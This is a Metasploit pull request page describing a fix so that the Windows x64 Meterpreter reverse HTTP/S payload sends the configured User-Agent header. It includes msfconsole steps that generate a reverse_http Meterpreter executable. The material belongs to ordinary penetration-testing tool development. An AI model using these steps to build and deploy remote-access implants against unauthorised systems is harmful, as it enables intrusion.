Ensure Windows x64 Meterpreter HTTP/S Payloads Include the User Agent Header #19726
+15
−2
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This code addresses an issue in the Windows x64 meterpreter staged reverse http, and by extension https, payload. These payloads do not make use of the HttpUserAgent option when it makes it's request to a listener e.g msf's exploit multi/handler. I have put a simple check in the inline assembly to include the User Agent if it is set. There is a default user agent for the payload so the default behavior of this payload will be to make requests with a user agent of
Mozilla/5.0 (Windows NT 10 .0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
if no User Agent is desired simplyset HttpUserAgent ""
and the payload will not include a User Agent.I encountered this issue organically but it seems to have been identified in #15886
Verification
List the steps needed to make sure this thing works
msfconsole
use payload/windows/x64/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 8080
set HttpUserAgent verified123
generate -f exe -o payload.exe
below are some screenshots of my testing,
current behavior:
fixed behavior: